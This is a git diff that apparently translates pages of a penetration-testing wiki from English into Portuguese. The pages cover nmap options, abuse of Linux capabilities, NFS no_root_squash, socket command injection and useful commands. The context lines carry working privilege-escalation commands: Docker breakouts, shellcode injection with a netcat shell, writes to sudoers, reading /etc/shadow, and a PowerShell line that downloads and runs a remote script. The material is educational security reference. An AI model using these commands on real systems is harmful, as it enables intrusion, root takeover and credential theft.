+**--version-intensity ** Regulamos a intensidade, de modo que quanto menor for, lançará apenas as sondas mais prováveis, mas não todas. Com isso, podemos encurtar consideravelmente o tempo de escaneamento UDP
 
-**-O** OS detection
+**-O** Detecção de SO
 
-**--osscan-limit** For proper host scanning, at least one open port and one closed port are needed. If this condition isn't met and we've set this, it won't attempt OS prediction (saves time)
+**--osscan-limit** Para uma detecção adequada de hosts, pelo menos uma porta aberta e uma porta fechada são necessárias. Se essa condição não for atendida e tivermos definido isso, não tentará prever o SO (economiza tempo)
 
-**--osscan-guess** When OS detection isn't perfect, this makes it try harder
+**--osscan-guess** Quando a detecção de SO não é perfeita, isso faz com que tente mais
 
 **Scripts**
 
 --script __|__|__|__[,...]
 
-To use default scripts, use -sC or --script=default
+Para usar scripts padrão, use -sC ou --script=default
 
-Available types are: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln
+Os tipos disponíveis são: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version e vuln
 
-- **Auth:** executes all available authentication scripts
-- **Default:** executes basic default tool scripts
-- **Discovery:** retrieves information from the target or victim
-- **External:** script for using external resources
-- **Intrusive:** uses scripts considered intrusive to the victim or target
-- **Malware:** checks for connections opened by malicious code or backdoors
-- **Safe:** executes non-intrusive scripts
-- **Vuln:** discovers the most known vulnerabilities
-- **All:** executes absolutely all available NSE extension scripts
+- **Auth:** executa todos os scripts de autenticação disponíveis
+- **Default:** executa scripts básicos de ferramentas padrão
+- **Discovery:** recupera informações do alvo ou vítima
+- **External:** script para usar recursos externos
+- **Intrusive:** usa scripts considerados intrusivos para a vítima ou alvo
+- **Malware:** verifica conexões abertas por código malicioso ou backdoors
+- **Safe:** executa scripts não intrusivos
+- **Vuln:** descobre as vulnerabilidades mais conhecidas
+- **All:** executa absolutamente todos os scripts de extensão NSE disponíveis
 
-To search for scripts:
+Para procurar scripts:
 
-**nmap --script-help="http-\*" -> Those starting with http-**
+**nmap --script-help="http-\*" -> Aqueles que começam com http-**
 
-**nmap --script-help="not intrusive" -> All except those**
+**nmap --script-help="not intrusive" -> Todos, exceto aqueles**
 
-**nmap --script-help="default or safe" -> Those in either or both**
+**nmap --script-help="default or safe" -> Aqueles em qualquer um ou ambos**
 
-**nmap --script-help="default and safe" --> Those in both**
+**nmap --script-help="default and safe" --> Aqueles em ambos**
 
 **nmap --script-help="(default or safe or intrusive) and not http-\*"**
 
@@ -100,43 +94,43 @@ To search for scripts:
 
 --script-help __|__|__|__|all[,...]
 
---script-trace ---> Provides info on how the script is progressing
+--script-trace ---> Fornece informações sobre como o script está progredindo
 
 --script-updatedb
 
-**To use a script, just type: nmap --script Script_Name target** --> When using the script, both the script and scanner will execute, so scanner options can also be added. We can add **"safe=1"** to execute only safe ones.
+**Para usar um script, basta digitar: nmap --script Script_Name target** --> Ao usar o script, tanto o script quanto o scanner serão executados, então opções do scanner também podem ser adicionadas. Podemos adicionar **"safe=1"** para executar apenas os seguros.
 
-**Time Control**
+**Controle de Tempo**
 
-**Nmap can modify time in seconds, minutes, ms:** --host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing.
+**O Nmap pode modificar o tempo em segundos, minutos, ms:** --host-timeout arguments 900000ms, 900, 900s e 15m fazem a mesma coisa.
 
-Nmap divides the total number of hosts to scan into groups and analyzes these groups in blocks, so it doesn't move to the next block until all have been analyzed (and the user doesn't receive any updates until the block has been analyzed). This way, it's more optimal for Nmap to use large groups. By default in class C, it uses 256.
+O Nmap divide o número total de hosts a escanear em grupos e analisa esses grupos em blocos, assim não passa para o próximo bloco até que todos tenham sido analisados (e o usuário não recebe atualizações até que o bloco tenha sido analisado). Dessa forma, é mais otimizado para o Nmap usar grandes grupos. Por padrão, na classe C, usa 256.
 
-This can be changed with **--min-hostgroup** _****_**;** **--max-hostgroup** _****_ (Adjust parallel scan group sizes)
+Isso pode ser alterado com **--min-hostgroup** _****_**;** **--max-hostgroup** _****_ (Ajusta os tamanhos do grupo de escaneamento paralelo)
 
-You can control the number of parallel scanners but it's better not to (Nmap already incorporates automatic control based on network status): **--min-parallelism** _****_**;** **--max-parallelism** _****_
+Você pode controlar o número de scanners paralelos, mas é melhor não fazê-lo (o Nmap já incorpora controle automático com base no status da rede): **--min-parallelism** _****_**;** **--max-parallelism** _****_
 
-We can modify the RTT timeout, but it's usually not necessary: **--min-rtt-timeout** _**
 ## User Capabilities
 
 Aparentemente **é possível atribuir capacidades também a usuários**. Isso provavelmente significa que cada processo executado pelo usuário poderá usar as capacidades do usuário.\
-Baseado em [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) e [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user), alguns arquivos precisam ser configurados para dar a um usuário certas capacidades, mas o que atribui as capacidades a cada usuário será `/etc/security/capability.conf`.\
+Baseado em [isso](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [isso](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) e [isso](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user), alguns arquivos precisam ser configurados para dar a um usuário certas capacidades, mas o que atribui as capacidades a cada usuário será `/etc/security/capability.conf`.\
 Exemplo de arquivo:
 ```bash
 # Simple
@@ -344,9 +344,9 @@ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
 getcap /usr/sbin/tcpdump
 /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
 ```
-### O caso especial de capacidades "vazias"
+### O caso especial das capacidades "vazias"
 
-[Dos docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Note que é possível atribuir conjuntos de capacidades vazias a um arquivo de programa, e assim é possível criar um programa set-user-ID-root que altera o set-user-ID efetivo e salvo do processo que executa o programa para 0, mas não confere capacidades a esse processo. Ou, simplificando, se você tem um binário que:
+[Dos docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Note que é possível atribuir conjuntos de capacidades vazios a um arquivo de programa, e assim é possível criar um programa set-user-ID-root que altera o set-user-ID efetivo e salvo do processo que executa o programa para 0, mas não confere capacidades a esse processo. Ou, simplificando, se você tem um binário que:
 
 1. não é propriedade do root
 2. não tem bits `SUID`/`SGID` definidos
@@ -417,8 +417,8 @@ chroot ./ bash #You have a shell inside the docker hosts disk
 ```
 - **Acesso total**
 
-No método anterior, conseguimos acessar o disco do host do docker.\
-Caso você descubra que o host está executando um servidor **ssh**, você poderia **criar um usuário dentro do disco do host do docker** e acessá-lo via SSH:
+No método anterior, conseguimos acessar o disco do host docker.\
+Caso você descubra que o host está executando um servidor **ssh**, você poderia **criar um usuário dentro do disco do host docker** e acessá-lo via SSH:
 ```bash
 #Like in the example before, the first step is to mount the docker host disk
 fdisk -l
@@ -436,7 +436,7 @@ ssh john@172.17.0.1 -p 2222
 
 **Isso significa que você pode escapar do contêiner injetando um shellcode dentro de algum processo em execução no host.** Para acessar processos em execução no host, o contêiner precisa ser executado pelo menos com **`--pid=host`**.
 
-**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** concede a capacidade de usar funcionalidades de depuração e rastreamento de chamadas de sistema fornecidas por `ptrace(2)` e chamadas de anexação de memória cruzada como `process_vm_readv(2)` e `process_vm_writev(2)`. Embora seja poderoso para fins de diagnóstico e monitoramento, se `CAP_SYS_PTRACE` estiver habilitado sem medidas restritivas, como um filtro seccomp em `ptrace(2)`, pode comprometer significativamente a segurança do sistema. Especificamente, pode ser explorado para contornar outras restrições de segurança, notavelmente aquelas impostas pelo seccomp, como demonstrado por [provas de conceito (PoC) como esta](https://gist.github.com/thejh/8346f47e359adecd1d53).
+**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** concede a capacidade de usar funcionalidades de depuração e rastreamento de chamadas de sistema fornecidas por `ptrace(2)` e chamadas de anexação de memória cruzada como `process_vm_readv(2)` e `process_vm_writev(2)`. Embora seja poderoso para fins de diagnóstico e monitoramento, se `CAP_SYS_PTRACE` estiver habilitado sem medidas restritivas, como um filtro seccomp em `ptrace(2)`, isso pode comprometer significativamente a segurança do sistema. Especificamente, pode ser explorado para contornar outras restrições de segurança, notavelmente aquelas impostas pelo seccomp, como demonstrado por [provas de conceito (PoC) como esta](https://gist.github.com/thejh/8346f47e359adecd1d53).
 
 **Exemplo com binário (python)**
 ```bash
@@ -583,9 +583,9 @@ Continuing.
 process 207009 is executing new program: /usr/bin/dash
 [...]
 ```
-**Exemplo com ambiente (Docker breakout) - Outro abuso do gdb**
+**Exemplo com ambiente (Docker breakout) - Outro Abuso de gdb**
 
-Se **GDB** estiver instalado (ou você puder instalá-lo com `apk add gdb` ou `apt install gdb`, por exemplo), você pode **depurar um processo do host** e fazer com que ele chame a função `system`. (Esta técnica também requer a capacidade `SYS_ADMIN`)**.**
+Se **GDB** estiver instalado (ou você puder instalá-lo com `apk add gdb` ou `apt install gdb`, por exemplo), você pode **depurar um processo do host** e fazê-lo chamar a função `system`. (Esta técnica também requer a capacidade `SYS_ADMIN`)**.**
 ```bash
 gdb -p 1234
 (gdb) call (void)system("ls")
@@ -618,12 +618,12 @@ Liste **processos** em execução no **host** `ps -eaf`
 2. Encontre um **shellcode** para a arquitetura ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
 3. Encontre um **programa** para **injetar** o **shellcode** na memória de um processo ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c))
 4. **Modifique** o **shellcode** dentro do programa e **compile**-o `gcc inject.c -o inject`
-5. **Injete** e capture seu **shell**: `./inject 299; nc 172.17.0.1 5600`
+5. **Injete** e obtenha seu **shell**: `./inject 299; nc 172.17.0.1 5600`
 
 ## CAP_SYS_MODULE
 
-**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** capacita um processo a **carregar e descarregar módulos do kernel (`init_module(2)`, `finit_module(2)` e `delete_module(2)` chamadas de sistema)**, oferecendo acesso direto às operações centrais do kernel. Essa capacidade apresenta riscos críticos de segurança, pois permite a escalada de privilégios e a total comprometimento do sistema ao permitir modificações no kernel, contornando assim todos os mecanismos de segurança do Linux, incluindo Módulos de Segurança do Linux e isolamento de contêineres.  
-**Isso significa que você pode** **inserir/remover módulos do kernel no/do kernel da máquina host.**
+**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** capacita um processo a **carregar e descarregar módulos do kernel (`init_module(2)`, `finit_module(2)` e `delete_module(2)` chamadas de sistema)**, oferecendo acesso direto às operações principais do kernel. Essa capacidade apresenta riscos críticos de segurança, pois permite a escalada de privilégios e a total comprometimento do sistema ao permitir modificações no kernel, contornando assim todos os mecanismos de segurança do Linux, incluindo Módulos de Segurança do Linux e isolamento de contêineres.  
+**Isso significa que você pode** **inserir/remover módulos do kernel no/da kernel da máquina host.**
 
 **Exemplo com binário**
 
@@ -733,8 +733,8 @@ Outro exemplo desta técnica pode ser encontrado em [https://www.cyberark.com/re
 
 ## CAP_DAC_READ_SEARCH
 
-[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que um processo **ignore permissões para ler arquivos e para ler e executar diretórios**. Seu uso principal é para fins de busca ou leitura de arquivos. No entanto, também permite que um processo use a função `open_by_handle_at(2)`, que pode acessar qualquer arquivo, incluindo aqueles fora do namespace de montagem do processo. O identificador usado em `open_by_handle_at(2)` deve ser um identificador não transparente obtido através de `name_to_handle_at(2)`, mas pode incluir informações sensíveis, como números de inode, que são vulneráveis a manipulação. O potencial de exploração dessa capacidade, particularmente no contexto de contêineres Docker, foi demonstrado por Sebastian Krahmer com o exploit shocker, conforme analisado [aqui](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
-**Isso significa que você pode** **ignorar verificações de permissão de leitura de arquivos e verificações de permissão de leitura/executar de diretórios.**
+[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que um processo **ignore permissões para leitura de arquivos e para leitura e execução de diretórios**. Seu uso principal é para fins de busca ou leitura de arquivos. No entanto, também permite que um processo use a função `open_by_handle_at(2)`, que pode acessar qualquer arquivo, incluindo aqueles fora do namespace de montagem do processo. O identificador usado em `open_by_handle_at(2)` deve ser um identificador não transparente obtido através de `name_to_handle_at(2)`, mas pode incluir informações sensíveis, como números de inode, que são vulneráveis a manipulação. O potencial de exploração dessa capacidade, particularmente no contexto de contêineres Docker, foi demonstrado por Sebastian Krahmer com o exploit shocker, conforme analisado [aqui](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
+**Isso significa que você pode** **ignorar as verificações de permissão de leitura de arquivos e as verificações de permissão de leitura/executar de diretórios.**
 
 **Exemplo com binário**
 
@@ -957,7 +957,7 @@ file=open("/etc/sudoers","a")
 file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
 file.close()
 ```
-**Exemplo com ambiente + CAP_DAC_READ_SEARCH (quebra do Docker)**
+**Exemplo com ambiente + CAP_DAC_READ_SEARCH (Docker breakout)**
 
 Você pode verificar as capacidades habilitadas dentro do contêiner docker usando:
 ```bash
@@ -1169,7 +1169,7 @@ Existem muitos arquivos que você pode **sobrescrever para escalar privilégios,
 
 **Exemplo com binário**
 
-Neste caso, você deve procurar arquivos interessantes que um grupo pode ler porque você pode se passar por qualquer grupo:
+Neste caso, você deve procurar arquivos interessantes que um grupo pode ler, pois você pode se passar por qualquer grupo:
 ```bash
 #Find every file writable by a group
 find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
@@ -1184,7 +1184,7 @@ import os
 os.setgid(42)
 os.system("/bin/bash")
 ```
-Neste caso, o grupo shadow foi impersonado, então você pode ler o arquivo `/etc/shadow`:
+Neste caso, o grupo shadow foi personificado, então você pode ler o arquivo `/etc/shadow`:
 ```bash
 cat /etc/shadow
 ```
@@ -1281,7 +1281,7 @@ os.killpg(pgid, signal.SIGKILL)
 ```
 **Privesc com kill**
 
-Se você tiver capacidades de kill e houver um **programa node rodando como root** (ou como um usuário diferente), você provavelmente poderia **enviar** o **sinal SIGUSR1** e fazer com que ele **abra o depurador do node** para onde você pode se conectar.
+Se você tiver capacidades de kill e houver um **programa node rodando como root** (ou como um usuário diferente), você provavelmente poderia **enviar** o **sinal SIGUSR1** e fazer com que ele **abra o depurador node** para onde você pode se conectar.
 ```bash
 kill -s SIGUSR1 
 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
@@ -1324,7 +1324,7 @@ s.connect(('10.10.10.10',500))
 
 ## CAP_NET_RAW
 
-A capacidade [**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que processos **criem sockets RAW e PACKET**, permitindo que gerem e enviem pacotes de rede arbitrários. Isso pode levar a riscos de segurança em ambientes containerizados, como spoofing de pacotes, injeção de tráfego e contorno de controles de acesso à rede. Atores maliciosos poderiam explorar isso para interferir no roteamento de containers ou comprometer a segurança da rede do host, especialmente sem proteções adequadas de firewall. Além disso, **CAP_NET_RAW** é crucial para containers privilegiados suportarem operações como ping via solicitações ICMP RAW.
+A capacidade [**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que processos **criem sockets RAW e PACKET**, possibilitando gerar e enviar pacotes de rede arbitrários. Isso pode levar a riscos de segurança em ambientes containerizados, como spoofing de pacotes, injeção de tráfego e contorno de controles de acesso à rede. Atores maliciosos poderiam explorar isso para interferir no roteamento de containers ou comprometer a segurança da rede do host, especialmente sem proteções adequadas de firewall. Além disso, **CAP_NET_RAW** é crucial para containers privilegiados suportarem operações como ping via solicitações RAW ICMP.
 
 **Isso significa que é possível monitorar o tráfego.** Você não pode escalar privilégios diretamente com essa capacidade.
 
@@ -1466,9 +1466,9 @@ Esta capacidade é essencial para processos que requerem a habilidade de criar a
 
 É uma capacidade padrão do docker ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)).
 
-Esta capacidade permite realizar escalonamentos de privilégios (através de leitura completa do disco) no host, sob estas condições:
+Esta capacidade permite realizar elevações de privilégio (através de leitura completa do disco) no host, sob estas condições:
 
-1. Ter acesso inicial ao host (sem privilégios).
+1. Ter acesso inicial ao host (não privilegiado).
 2. Ter acesso inicial ao contêiner (privilegiado (EUID 0) e efetivo `CAP_MKNOD`).
 3. O host e o contêiner devem compartilhar o mesmo namespace de usuário.
 
@@ -1490,7 +1490,7 @@ useradd -u 1000 standarduser
 # Switch to the newly created user
 su standarduser
 ```
-3. **De Volta ao Host:**
+3. **De volta ao Host:**
 ```bash
 # Locate the PID of the container process owned by "standarduser"
 # This is an illustrative example; actual command might vary
@@ -1503,7 +1503,7 @@ Essa abordagem permite que o usuário padrão acesse e potencialmente leia dados
 
 ### CAP_SETPCAP
 
-**CAP_SETPCAP** permite que um processo **altere os conjuntos de capacidades** de outro processo, permitindo a adição ou remoção de capacidades dos conjuntos efetivos, herdáveis e permitidos. No entanto, um processo só pode modificar capacidades que possui em seu próprio conjunto permitido, garantindo que não possa elevar os privilégios de outro processo além dos seus próprios. Atualizações recentes do kernel apertaram essas regras, restringindo `CAP_SETPCAP` a apenas diminuir as capacidades dentro de seu próprio conjunto permitido ou dos conjuntos permitidos de seus descendentes, visando mitigar riscos de segurança. O uso requer ter `CAP_SETPCAP` no conjunto efetivo e as capacidades alvo no conjunto permitido, utilizando `capset()` para modificações. Isso resume a função central e as limitações de `CAP_SETPCAP`, destacando seu papel na gestão de privilégios e no aprimoramento da segurança.
+**CAP_SETPCAP** permite que um processo **altere os conjuntos de capacidades** de outro processo, permitindo a adição ou remoção de capacidades dos conjuntos efetivos, herdáveis e permitidos. No entanto, um processo só pode modificar capacidades que possui em seu próprio conjunto permitido, garantindo que não possa elevar os privilégios de outro processo além dos seus. Atualizações recentes do kernel apertaram essas regras, restringindo `CAP_SETPCAP` a apenas diminuir as capacidades dentro de seu próprio conjunto permitido ou dos conjuntos permitidos de seus descendentes, visando mitigar riscos de segurança. O uso requer ter `CAP_SETPCAP` no conjunto efetivo e as capacidades alvo no conjunto permitido, utilizando `capset()` para modificações. Isso resume a função central e as limitações de `CAP_SETPCAP`, destacando seu papel na gestão de privilégios e no aprimoramento da segurança.
 
 **`CAP_SETPCAP`** é uma capacidade do Linux que permite que um processo **modifique os conjuntos de capacidades de outro processo**. Ela concede a capacidade de adicionar ou remover capacidades dos conjuntos de capacidades efetivas, herdáveis e permitidas de outros processos. No entanto, existem certas restrições sobre como essa capacidade pode ser usada.
 
diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
index 330b57743..600160cd1 100644
--- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
+++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
@@ -1,18 +1,18 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-Leia o _ **/etc/exports** _ arquivo, se você encontrar algum diretório que está configurado como **no_root_squash**, então você pode **acessá-lo** **como cliente** e **escrever dentro** desse diretório **como** se você fosse o **root** local da máquina.
+Leia o arquivo _ **/etc/exports** _. Se você encontrar algum diretório configurado como **no_root_squash**, então você pode **acessá-lo** **como cliente** e **escrever dentro** desse diretório **como** se você fosse o **root** local da máquina.
 
 **no_root_squash**: Esta opção basicamente dá autoridade ao usuário root no cliente para acessar arquivos no servidor NFS como root. E isso pode levar a sérias implicações de segurança.
 
-**no_all_squash:** Isso é semelhante à opção **no_root_squash**, mas se aplica a **usuários não-root**. Imagine, você tem um shell como usuário nobody; verificou o arquivo /etc/exports; a opção no_all_squash está presente; verifique o arquivo /etc/passwd; emule um usuário não-root; crie um arquivo suid como esse usuário (montando usando nfs). Execute o suid como usuário nobody e torne-se um usuário diferente.
+**no_all_squash:** Isso é semelhante à opção **no_root_squash**, mas se aplica a **usuários não-root**. Imagine que você tem um shell como usuário nobody; verificou o arquivo /etc/exports; a opção no_all_squash está presente; verifique o arquivo /etc/passwd; emule um usuário não-root; crie um arquivo suid como esse usuário (montando usando nfs). Execute o suid como usuário nobody e torne-se um usuário diferente.
 
 # Escalada de Privilégios
 
-## Exploit Remoto
+## Exploração Remota
 
-Se você encontrou essa vulnerabilidade, você pode explorá-la:
+Se você encontrou essa vulnerabilidade, pode explorá-la:
 
-- **Montando aquele diretório** em uma máquina cliente, e **como root copiando** dentro da pasta montada o binário **/bin/bash** e dando a ele direitos **SUID**, e **executando a partir da máquina vítima** esse binário bash.
+- **Montando esse diretório** em uma máquina cliente, e **como root copiando** dentro da pasta montada o binário **/bin/bash** e dando a ele direitos **SUID**, e **executando a partir da máquina vítima** esse binário bash.
 ```bash
 #Attacker, as root user
 mkdir /tmp/pe
@@ -42,14 +42,14 @@ cd 
 ## Exploit Local
 
 > [!NOTE]
-> Note que se você puder criar um **túnel da sua máquina para a máquina da vítima, você ainda pode usar a versão Remota para explorar essa escalada de privilégio, tunelando as portas necessárias**.\
-> O seguinte truque é caso o arquivo `/etc/exports` **indique um IP**. Nesse caso, você **não poderá usar** de forma alguma o **exploit remoto** e precisará **abusar desse truque**.\
+> Note que se você puder criar um **túnel da sua máquina para a máquina da vítima, ainda poderá usar a versão Remota para explorar essa escalada de privilégios, tunelando as portas necessárias**.\
+> O seguinte truque é caso o arquivo `/etc/exports` **indique um IP**. Nesse caso, você **não poderá usar** em nenhum caso o **exploit remoto** e precisará **abusar desse truque**.\
 > Outro requisito necessário para que o exploit funcione é que **a exportação dentro de `/etc/export`** **deve estar usando a flag `insecure`**.\
-> --_Não tenho certeza se, quando `/etc/export` indica um endereço IP, esse truque funcionará_--
+> --_Não tenho certeza se, caso `/etc/export` indique um endereço IP, esse truque funcionará_--
 
 ## Informações Básicas
 
-O cenário envolve explorar um compartilhamento NFS montado em uma máquina local, aproveitando uma falha na especificação do NFSv3 que permite ao cliente especificar seu uid/gid, potencialmente permitindo acesso não autorizado. A exploração envolve o uso de [libnfs](https://github.com/sahlberg/libnfs), uma biblioteca que permite a forja de chamadas RPC NFS.
+O cenário envolve explorar um compartilhamento NFS montado em uma máquina local, aproveitando uma falha na especificação do NFSv3 que permite ao cliente especificar seu uid/gid, potencialmente permitindo acesso não autorizado. A exploração envolve o uso de [libnfs](https://github.com/sahlberg/libnfs), uma biblioteca que permite a falsificação de chamadas RPC NFS.
 
 ### Compilando a Biblioteca
 
@@ -108,7 +108,7 @@ uid = get_file_uid(filepath)
 os.setreuid(uid, uid)
 os.system(' '.join(sys.argv[1:]))
 ```
-Execute como:
+Executar como:
 ```bash
 # ll ./mount/
 drwxr-x---  6 1008 1009 1024 Apr  5  2017 9.3_old
diff --git a/src/linux-hardening/privilege-escalation/payloads-to-execute.md b/src/linux-hardening/privilege-escalation/payloads-to-execute.md
index dc8da9a22..ec2946466 100644
--- a/src/linux-hardening/privilege-escalation/payloads-to-execute.md
+++ b/src/linux-hardening/privilege-escalation/payloads-to-execute.md
@@ -1,4 +1,4 @@
-# Payloads to execute
+# Payloads para executar
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -68,7 +68,7 @@ libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
 /lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
 ```
 Neste caso, vamos tentar se passar por `/lib/x86_64-linux-gnu/libaudit.so.1`.\
-Então, verifique as funções desta biblioteca usadas pelo **`su`** binário:
+Então, verifique as funções desta biblioteca usadas pelo binário **`su`**:
 ```bash
 objdump -T /bin/su | grep audit
 0000000000000000      DF *UND*  0000000000000000              audit_open
@@ -104,7 +104,7 @@ Agora, apenas chamando **`/bin/su`** você obterá um shell como root.
 
 Você pode fazer o root executar algo?
 
-### **www-data no sudoers**
+### **www-data para sudoers**
 ```bash
 echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
 ```
diff --git a/src/linux-hardening/privilege-escalation/selinux.md b/src/linux-hardening/privilege-escalation/selinux.md
index 8e8130c6a..af99df3f0 100644
--- a/src/linux-hardening/privilege-escalation/selinux.md
+++ b/src/linux-hardening/privilege-escalation/selinux.md
@@ -6,7 +6,7 @@
 
 [SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) é um **sistema de rotulagem**. Cada **processo** e cada objeto do sistema de arquivos tem um **rótulo**. As políticas do SELinux definem regras sobre o que um **rótulo de processo pode fazer com todos os outros rótulos** no sistema.
 
-Os mecanismos de contêiner lançam **processos de contêiner com um único rótulo SELinux confinado**, geralmente `container_t`, e então definem o contêiner dentro do contêiner para ser rotulado como `container_file_t`. As regras da política SELinux basicamente dizem que os **processos `container_t` só podem ler/gravar/executar arquivos rotulados como `container_file_t`**. Se um processo de contêiner escapar do contêiner e tentar gravar em conteúdo no host, o kernel do Linux nega o acesso e permite apenas que o processo de contêiner escreva em conteúdo rotulado como `container_file_t`.
+Os mecanismos de contêiner lançam **processos de contêiner com um único rótulo SELinux confinado**, geralmente `container_t`, e então definem o contêiner dentro do contêiner para ser rotulado como `container_file_t`. As regras de política do SELinux basicamente dizem que os **processos `container_t` só podem ler/gravar/executar arquivos rotulados como `container_file_t`**. Se um processo de contêiner escapar do contêiner e tentar gravar em conteúdo no host, o kernel do Linux nega o acesso e permite apenas que o processo de contêiner escreva em conteúdo rotulado como `container_file_t`.
 ```shell
 $ podman run -d fedora sleep 100
 d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb
diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md
index 569763e32..1268d57fe 100644
--- a/src/linux-hardening/privilege-escalation/socket-command-injection.md
+++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md
@@ -31,7 +31,7 @@ netstat -a -p --unix | grep "socket_test"
 will not be shown, you would have to be root to see it all.)
 unix  2      [ ACC ]     STREAM     LISTENING     901181   132748/python        /tmp/socket_test.s
 ```
-**Explorar**
+**Exploit**
 ```python
 echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
 ```
diff --git a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
index 488114570..161859fab 100644
--- a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
+++ b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
@@ -6,7 +6,7 @@ Se **enumerando** uma máquina **internamente** ou **externamente** você encont
 
 Além disso, se você **já for root e o serviço Splunk não estiver ouvindo apenas no localhost**, você pode **roubar** o arquivo de **senha** **do** serviço Splunk e **quebrar** as senhas, ou **adicionar novas** credenciais a ele. E manter persistência no host.
 
-Na primeira imagem abaixo, você pode ver como uma página da web do Splunkd se parece.
+Na primeira imagem abaixo, você pode ver como uma página web do Splunkd se parece.
 
 ## Resumo da Exploração do Agente Splunk Universal Forwarder
 
diff --git a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md
index 7153d16cf..d95d725a1 100644
--- a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md
+++ b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md
@@ -2,7 +2,7 @@
 
 # Resumo
 
-O que você pode fazer se descobrir dentro do `/etc/ssh_config` ou dentro do `$HOME/.ssh/config` esta configuração:
+O que você pode fazer se descobrir dentro do `/etc/ssh_config` ou dentro do `$HOME/.ssh/config` a seguinte configuração:
 ```
 ForwardAgent yes
 ```
diff --git a/src/linux-hardening/useful-linux-commands.md b/src/linux-hardening/useful-linux-commands.md
index 2ee9f1b39..34c2dfdb5 100644
--- a/src/linux-hardening/useful-linux-commands.md
+++ b/src/linux-hardening/useful-linux-commands.md
@@ -1,17 +1,8 @@
-# Useful Linux Commands
-
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+# Comandos Úteis do Linux
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Common Bash
-
+## Bash Comum
 ```bash
 #Exfiltration using Base64
 base64 -w 0 file
@@ -130,17 +121,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
 # List files inside zip
 7z l file.zip
 ```
-
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-
-## Bash for Windows
-
+## Bash para Windows
 ```bash
 #Base64 for Windows
 echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
@@ -160,9 +141,7 @@ python pyinstaller.py --onefile exploit.py
 #sudo apt-get install gcc-mingw-w64-i686
